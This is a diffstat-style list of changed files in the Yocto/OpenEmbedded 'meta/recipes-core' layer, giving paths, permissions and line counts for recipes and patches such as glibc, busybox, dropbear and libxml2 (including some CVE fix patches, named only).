-rw-r--r--meta/recipes-core/busybox/busybox_1.32.0.bb51
-rw-r--r--meta/recipes-core/busybox/busybox_1.36.1.bb57
-rwxr-xr-xmeta/recipes-core/busybox/files/mdev56
-rw-r--r--meta/recipes-core/busybox/files/rcS.default31
-rw-r--r--meta/recipes-core/busybox/files/syslog2
-rw-r--r--meta/recipes-core/coreutils/coreutils/0001-local.mk-fix-cross-compiling-problem.patch12
-rw-r--r--meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch99
-rw-r--r--meta/recipes-core/coreutils/coreutils/0001-uname-report-processor-and-hardware-correctly.patch64
-rw-r--r--meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch49
-rw-r--r--meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch36
-rw-r--r--meta/recipes-core/coreutils/coreutils/remove-usr-local-lib-from-m4.patch7
-rw-r--r--meta/recipes-core/coreutils/coreutils_8.32.bb201
-rw-r--r--meta/recipes-core/coreutils/coreutils_9.5.bb219
-rw-r--r--meta/recipes-core/dbus-wait/dbus-wait_git.bb10
-rw-r--r--meta/recipes-core/dbus/dbus-glib_0.110.bb39
-rw-r--r--meta/recipes-core/dbus/dbus-glib_0.112.bb39
-rw-r--r--meta/recipes-core/dbus/dbus-test_1.12.20.bb64
-rw-r--r--meta/recipes-core/dbus/dbus.inc34
-rw-r--r--meta/recipes-core/dbus/dbus/clear-guid_from_server-if-send_negotiate_unix_f.patch104
-rw-r--r--meta/recipes-core/dbus/dbus/python-config.patch34
-rwxr-xr-xmeta/recipes-core/dbus/dbus/run-ptest34
-rw-r--r--meta/recipes-core/dbus/dbus_1.12.20.bb147
-rw-r--r--meta/recipes-core/dbus/dbus_1.14.10.bb186
-rw-r--r--meta/recipes-core/dropbear/dropbear.inc122
-rw-r--r--meta/recipes-core/dropbear/dropbear/0001-urandom-xauth-changes-to-options.h.patch8
-rw-r--r--meta/recipes-core/dropbear/dropbear/0005-dropbear-enable-pam.patch13
-rw-r--r--meta/recipes-core/dropbear/dropbear/CVE-2023-36328.patch144
-rw-r--r--meta/recipes-core/dropbear/dropbear/dropbear-disable-weak-ciphers.patch20
-rw-r--r--meta/recipes-core/dropbear/dropbear/dropbearkey.service1
-rw-r--r--meta/recipes-core/dropbear/dropbear_2020.80.bb3
-rw-r--r--meta/recipes-core/dropbear/dropbear_2022.83.bb132
-rw-r--r--meta/recipes-core/ell/ell_0.32.bb21
-rw-r--r--meta/recipes-core/ell/ell_0.64.bb22
-rw-r--r--meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch83
-rw-r--r--meta/recipes-core/expat/expat/libtool-tag.patch30
-rw-r--r--meta/recipes-core/expat/expat/run-ptest22
-rw-r--r--meta/recipes-core/expat/expat_2.2.9.bb28
-rw-r--r--meta/recipes-core/expat/expat_2.6.2.bb33
-rw-r--r--meta/recipes-core/fts/fts_1.2.7.bb5
-rw-r--r--meta/recipes-core/gettext/gettext-0.20.2/add-with-bisonlocaledir.patch58
-rw-r--r--meta/recipes-core/gettext/gettext-0.20.2/use-pkgconfig.patch699
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/Makefile.in.in505
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/gettext.m4386
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/host-cpu-c-abi.m4675
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/iconv.m4288
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/intlmacosx.m465
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-ld.m4168
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-link.m4800
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/lib-prefix.m4320
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/nls.m432
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/po.m4450
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/progtest.m491
-rwxr-xr-xmeta/recipes-core/gettext/gettext-minimal-0.20.2/config.rpath684
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-0.20.2/remove-potcdate.sin25
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-native_0.20.2.bb30
-rw-r--r--meta/recipes-core/gettext/gettext-minimal-native_0.22.5.bb46
-rw-r--r--meta/recipes-core/gettext/gettext-minimal/COPYING (renamed from meta/recipes-core/gettext/gettext-minimal-0.20.2/COPYING)0
-rw-r--r--meta/recipes-core/gettext/gettext-sources.inc4
-rw-r--r--meta/recipes-core/gettext/gettext/0001-init-env.in-do-not-add-C-CXX-parameters.patch (renamed from meta/recipes-core/gettext/gettext-0.20.2/0001-init-env.in-do-not-add-C-CXX-parameters.patch)2
-rw-r--r--meta/recipes-core/gettext/gettext/0001-tests-autopoint-3-unset-MAKEFLAGS.patch (renamed from meta/recipes-core/gettext/gettext-0.20.2/0001-tests-autopoint-3-unset-MAKEFLAGS.patch)6
-rw-r--r--meta/recipes-core/gettext/gettext/parallel.patch (renamed from meta/recipes-core/gettext/gettext-0.20.2/parallel.patch)7
-rw-r--r--meta/recipes-core/gettext/gettext/run-ptest (renamed from meta/recipes-core/gettext/gettext-0.20.2/run-ptest)0
-rw-r--r--meta/recipes-core/gettext/gettext/serial-tests-config.patch (renamed from meta/recipes-core/gettext/gettext-0.20.2/serial-tests-config.patch)9
-rw-r--r--meta/recipes-core/gettext/gettext/use-pkgconfig.patch391
-rw-r--r--meta/recipes-core/gettext/gettext_0.20.2.bb210
-rw-r--r--meta/recipes-core/gettext/gettext_0.22.5.bb213
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch39
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch75
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch4
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch7
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch5
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch47
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Switch-from-the-deprecated-distutils-module-to-the-p.patch34
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch7
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch7
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-meson.build-do-not-enable-pidfd-features-on-native-g.patch29
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch7
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch121
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/fix-regex.patch54
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/memory-monitor.patch361
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc1
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch46
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/run-ptest3
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/skip-timeout.patch32
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0_2.64.4.bb50
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0_2.78.4.bb57
-rw-r--r--meta/recipes-core/glib-2.0/glib.inc121
-rw-r--r--meta/recipes-core/glib-networking/glib-networking/eagain.patch36
-rw-r--r--meta/recipes-core/glib-networking/glib-networking/run-ptest3
-rw-r--r--meta/recipes-core/glib-networking/glib-networking_2.64.3.bb34
-rw-r--r--meta/recipes-core/glib-networking/glib-networking_2.78.1.bb45
-rw-r--r--meta/recipes-core/glibc/cross-localedef-native_2.32.bb50
-rw-r--r--meta/recipes-core/glibc/cross-localedef-native_2.39.bb54
-rw-r--r--meta/recipes-core/glibc/glibc-collateral.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-common.inc14
-rw-r--r--meta/recipes-core/glibc/glibc-ld.inc2
-rw-r--r--meta/recipes-core/glibc/glibc-locale.inc49
-rw-r--r--meta/recipes-core/glibc/glibc-locale_2.39.bb (renamed from meta/recipes-core/glibc/glibc-locale_2.32.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-mtrace.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-mtrace_2.39.bb (renamed from meta/recipes-core/glibc/glibc-mtrace_2.32.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-package.inc156
-rw-r--r--meta/recipes-core/glibc/glibc-scripts.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-scripts_2.39.bb (renamed from meta/recipes-core/glibc/glibc-scripts_2.32.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-tests.inc32
-rw-r--r--meta/recipes-core/glibc/glibc-testsuite_2.32.bb63
-rw-r--r--meta/recipes-core/glibc/glibc-testsuite_2.39.bb36
-rw-r--r--meta/recipes-core/glibc/glibc-version.inc12
-rw-r--r--meta/recipes-core/glibc/glibc-y2038-tests_2.39.bb119
-rw-r--r--meta/recipes-core/glibc/glibc.inc17
-rw-r--r--meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch7
-rw-r--r--meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch7
-rw-r--r--meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch22
-rw-r--r--meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch12
-rw-r--r--meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch101
-rw-r--r--meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch21
-rw-r--r--meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch27
-rw-r--r--meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch1584
-rw-r--r--meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch208
-rw-r--r--meta/recipes-core/glibc/glibc/0009-yes-within-the-path-sets-wrong-config-variables.patch260
-rw-r--r--meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch387
-rw-r--r--meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch616
-rw-r--r--meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch62
-rw-r--r--meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch97
-rw-r--r--meta/recipes-core/glibc/glibc/0012-eglibc-Resolve-__fpscr_values-on-SH4.patch53
-rw-r--r--meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch36
-rw-r--r--meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch61
-rw-r--r--meta/recipes-core/glibc/glibc/0013-eglibc-Forward-port-cross-locale-generation-support.patch558
-rw-r--r--meta/recipes-core/glibc/glibc/0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch80
-rw-r--r--meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch42
-rw-r--r--meta/recipes-core/glibc/glibc/0015-powerpc-Do-not-ask-compiler-for-finding-arch.patch48
-rw-r--r--meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch263
-rw-r--r--meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch45
-rw-r--r--meta/recipes-core/glibc/glibc/0016-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch49
-rw-r--r--meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch75
-rw-r--r--meta/recipes-core/glibc/glibc/0017-Replace-echo-with-printf-builtin-in-nscd-init-script.patch79
-rw-r--r--meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch619
-rw-r--r--meta/recipes-core/glibc/glibc/0018-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch41
-rw-r--r--meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch100
-rw-r--r--meta/recipes-core/glibc/glibc/0019-timezone-Make-shell-interpreter-overridable-in-tzsel.patch47
-rw-r--r--meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0020-tzselect.ksh-Use-bin-sh-default-shell-interpreter.patch27
-rw-r--r--meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch563
-rw-r--r--meta/recipes-core/glibc/glibc/0021-fix-create-thread-failed-in-unprivileged-process-BZ-.patch86
-rw-r--r--meta/recipes-core/glibc/glibc/0022-Avoid-hardcoded-build-time-paths-in-the-output-binar.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0023-aarch64-configure-Pass-mcpu-along-with-march-to-dete.patch62
-rw-r--r--meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch84
-rw-r--r--meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0024-qemu-stale-process.patch45
-rw-r--r--meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch34
-rw-r--r--meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch240
-rw-r--r--meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch33
-rw-r--r--meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch70
-rw-r--r--meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch51
-rw-r--r--meta/recipes-core/glibc/glibc/check-test-wrapper11
-rwxr-xr-xmeta/recipes-core/glibc/glibc/run-ptest37
-rw-r--r--meta/recipes-core/glibc/glibc_2.32.bb113
-rw-r--r--meta/recipes-core/glibc/glibc_2.39.bb128
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch79
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig-handle-.dynstr-located-in-separate-segment.patch178
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch2
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch19
-rw-r--r--meta/recipes-core/glibc/ldconfig-native_2.12.1.bb6
-rw-r--r--meta/recipes-core/ifupdown/files/0001-Define-FNM_EXTMATCH-for-musl.patch8
-rw-r--r--meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch3
-rw-r--r--meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch30
-rw-r--r--meta/recipes-core/ifupdown/files/defn2-c-man-don-t-rely-on-dpkg-architecture-to-set-a.patch10
-rw-r--r--meta/recipes-core/ifupdown/files/tweak-ptest-script.patch20
-rw-r--r--meta/recipes-core/ifupdown/ifupdown_0.8.35.bb55
-rw-r--r--meta/recipes-core/ifupdown/ifupdown_0.8.41.bb62
-rw-r--r--meta/recipes-core/images/build-appliance-image_15.0.0.bb41
-rw-r--r--meta/recipes-core/images/core-image-initramfs-boot.bb22
-rw-r--r--meta/recipes-core/images/core-image-minimal-initramfs.bb8
-rw-r--r--meta/recipes-core/images/core-image-minimal.bb2
-rw-r--r--meta/recipes-core/images/core-image-ptest-all.bb25
-rw-r--r--meta/recipes-core/images/core-image-ptest-fast.bb6
-rw-r--r--meta/recipes-core/images/core-image-ptest.bb44
-rw-r--r--meta/recipes-core/images/core-image-tiny-initramfs.bb7
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/interfaces6
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuall/interfaces (renamed from meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm/interfaces)0
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarm64/interfaces5
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv6/interfaces5
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuarmv7/interfaces5
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemumips64/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemuppc/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemush4/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86-64/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown-1.0/qemux86/interfaces8
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb11
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-efi-testfs.sh4
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-efi.sh7
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-testfs.sh4
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install.sh2
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb3
-rwxr-xr-xmeta/recipes-core/initrdscripts/initramfs-framework/finish21
-rwxr-xr-xmeta/recipes-core/initrdscripts/initramfs-framework/init13
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/overlayroot118
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/rootfs19
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/setup-live2
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb68
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb5
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb5
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb7
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb7
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb7
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb13
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb7
-rw-r--r--meta/recipes-core/initscripts/init-system-helpers_1.58.bb41
-rw-r--r--meta/recipes-core/initscripts/init-system-helpers_1.66.bb42
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/GPLv2.patch347
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/alignment.sh4
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/banner.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/bootmisc.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/checkfs.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/checkroot.sh6
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/devpts.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/dmesg.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/functions3
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/halt4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/hostname.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/mountall.sh26
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/mountnfs.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh14
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/read-only-rootfs-hook.sh7
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/reboot4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/rmnologin.sh4
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/save-rtc.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/sendsigs4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/single4
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/sushell3
-rw-r--r--meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/umountfs4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/umountnfs.sh4
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/urandom4
-rw-r--r--meta/recipes-core/initscripts/initscripts_1.0.bb42
-rw-r--r--meta/recipes-core/kbd/kbd/0001-Remove-non-free-Agafari-fonts.patch73
-rw-r--r--meta/recipes-core/kbd/kbd_2.3.0.bb38
-rw-r--r--meta/recipes-core/kbd/kbd_2.6.4.bb67
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch37
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch235
-rw-r--r--meta/recipes-core/libcgroup/libcgroup_0.41.bb46
-rw-r--r--meta/recipes-core/libcgroup/libcgroup_3.1.0.bb33
-rw-r--r--meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch33
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.16.bb18
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.36.bb18
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt.inc24
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt_4.4.36.bb (renamed from meta/recipes-core/libxcrypt/libxcrypt_4.4.16.bb)0
-rw-r--r--meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch98
-rw-r--r--meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch37
-rw-r--r--meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch36
-rw-r--r--meta/recipes-core/libxml/libxml2/fix-execution-of-ptests.patch33
-rw-r--r--meta/recipes-core/libxml/libxml2/install-tests.patch34
-rw-r--r--meta/recipes-core/libxml/libxml2/libxml-64bit.patch28
-rw-r--r--meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch216
-rw-r--r--meta/recipes-core/libxml/libxml2/python-sitepackages-dir.patch35
-rwxr-xr-x[-rw-r--r--]meta/recipes-core/libxml/libxml2/run-ptest18
-rw-r--r--meta/recipes-core/libxml/libxml2/runtest.patch842
-rw-r--r--meta/recipes-core/libxml/libxml2_2.12.6.bb101
-rw-r--r--meta/recipes-core/libxml/libxml2_2.9.10.bb112
-rw-r--r--meta/recipes-core/meta/build-sysroots.bb19
-rw-r--r--meta/recipes-core/meta/buildtools-docs-tarball.bb18
-rw-r--r--meta/recipes-core/meta/buildtools-extended-tarball.bb5
-rw-r--r--meta/recipes-core/meta/buildtools-make-tarball.bb15
-rw-r--r--meta/recipes-core/meta/buildtools-tarball.bb53
-rw-r--r--meta/recipes-core/meta/cve-update-db-native.bb206
-rw-r--r--meta/recipes-core/meta/cve-update-nvd2-native.bb377
-rw-r--r--meta/recipes-core/meta/dummy-sdk-package.inc10
-rw-r--r--meta/recipes-core/meta/meta-environment-extsdk.bb2
-rw-r--r--meta/recipes-core/meta/meta-environment.bb10
-rw-r--r--meta/recipes-core/meta/meta-go-toolchain.bb4
-rw-r--r--meta/recipes-core/meta/meta-ide-support.bb33
-rw-r--r--meta/recipes-core/meta/meta-toolchain.bb1
-rw-r--r--meta/recipes-core/meta/meta-world-pkgdata.bb2
-rw-r--r--meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb7
-rw-r--r--meta/recipes-core/meta/nativesdk-sdk-provides-dummy.bb2
-rw-r--r--meta/recipes-core/meta/signing-keys.bb8
-rw-r--r--meta/recipes-core/meta/target-sdk-provides-dummy.bb2
-rw-r--r--meta/recipes-core/meta/testexport-tarball.bb11
-rw-r--r--meta/recipes-core/meta/uninative-tarball.bb14
-rw-r--r--meta/recipes-core/meta/wic-tools.bb14
-rw-r--r--meta/recipes-core/musl/bsd-headers.bb4
-rw-r--r--meta/recipes-core/musl/bsd-headers/sys-cdefs.h8
-rw-r--r--meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch44
-rw-r--r--meta/recipes-core/musl/gcompat/0001-make-Static-PIE-does-not-work-on-musl-ppc.patch30
-rw-r--r--meta/recipes-core/musl/gcompat_git.bb60
-rw-r--r--meta/recipes-core/musl/libc-test/run-libc-ptests28
-rw-r--r--meta/recipes-core/musl/libc-test/run-ptest3
-rw-r--r--meta/recipes-core/musl/libc-test_git.bb57
-rw-r--r--meta/recipes-core/musl/libssp-nonshared.bb17
-rw-r--r--meta/recipes-core/musl/libssp-nonshared/ssp-local.c45
-rw-r--r--meta/recipes-core/musl/libssp-nonshared/stack_chk.c40
-rw-r--r--meta/recipes-core/musl/libucontext_1.2.bb52
-rw-r--r--meta/recipes-core/musl/libucontext_git.bb63
-rw-r--r--meta/recipes-core/musl/musl-legacy-error.bb26
-rw-r--r--meta/recipes-core/musl/musl-legacy-error/error.h60
-rw-r--r--meta/recipes-core/musl/musl-locales_git.bb85
-rw-r--r--meta/recipes-core/musl/musl-obstack.bb8
-rw-r--r--meta/recipes-core/musl/musl-utils.bb8
-rw-r--r--meta/recipes-core/musl/musl.inc11
-rw-r--r--meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch18
-rw-r--r--meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch26
-rw-r--r--meta/recipes-core/musl/musl/0003-elf.h-add-typedefs-for-Elf64_Relr-and-Elf32_Relr.patch37
-rw-r--r--meta/recipes-core/musl/musl_git.bb41
-rw-r--r--meta/recipes-core/ncurses/files/0001-Fix-CVE-2023-29491.patch462
-rw-r--r--meta/recipes-core/ncurses/files/0001-Updating-reset-code-ncurses-6.4-patch-20231104.patch499
-rw-r--r--meta/recipes-core/ncurses/files/0002-configure-reproducible.patch26
-rw-r--r--meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch30
-rw-r--r--meta/recipes-core/ncurses/files/config.cache4
-rw-r--r--meta/recipes-core/ncurses/files/exit_prototype.patch32
-rw-r--r--meta/recipes-core/ncurses/ncurses.inc67
-rw-r--r--meta/recipes-core/ncurses/ncurses_6.2.bb14
-rw-r--r--meta/recipes-core/ncurses/ncurses_6.4.bb17
-rw-r--r--meta/recipes-core/netbase/netbase_6.1.bb20
-rw-r--r--meta/recipes-core/netbase/netbase_6.4.bb25
-rw-r--r--meta/recipes-core/newlib/libgloss/fix-rs6000-crt0.patch24
-rw-r--r--meta/recipes-core/newlib/libgloss/fix_makefile_include_arm_h.patch30
-rw-r--r--meta/recipes-core/newlib/libgloss/libgloss-build-without-nostdinc.patch30
-rw-r--r--meta/recipes-core/newlib/libgloss_3.3.0.bb33
-rw-r--r--meta/recipes-core/newlib/libgloss_git.bb36
-rw-r--r--meta/recipes-core/newlib/newlib.inc27
-rw-r--r--meta/recipes-core/newlib/newlib_3.3.0.bb20
-rw-r--r--meta/recipes-core/newlib/newlib_git.bb20
-rw-r--r--meta/recipes-core/os-release/os-release.bb31
-rw-r--r--meta/recipes-core/ovmf/ovmf-shell-image.bb5
-rw-r--r--meta/recipes-core/ovmf/ovmf/0001-ovmf-Update-to-latest.patch46
-rw-r--r--meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch11
-rw-r--r--meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch60
-rw-r--r--meta/recipes-core/ovmf/ovmf/0003-debug-prefix-map.patch104
-rw-r--r--meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch28
-rw-r--r--meta/recipes-core/ovmf/ovmf/0004-reproducible.patch180
-rw-r--r--meta/recipes-core/ovmf/ovmf_git.bb79
-rw-r--r--meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb13
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-base.bb153
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-boot.bb11
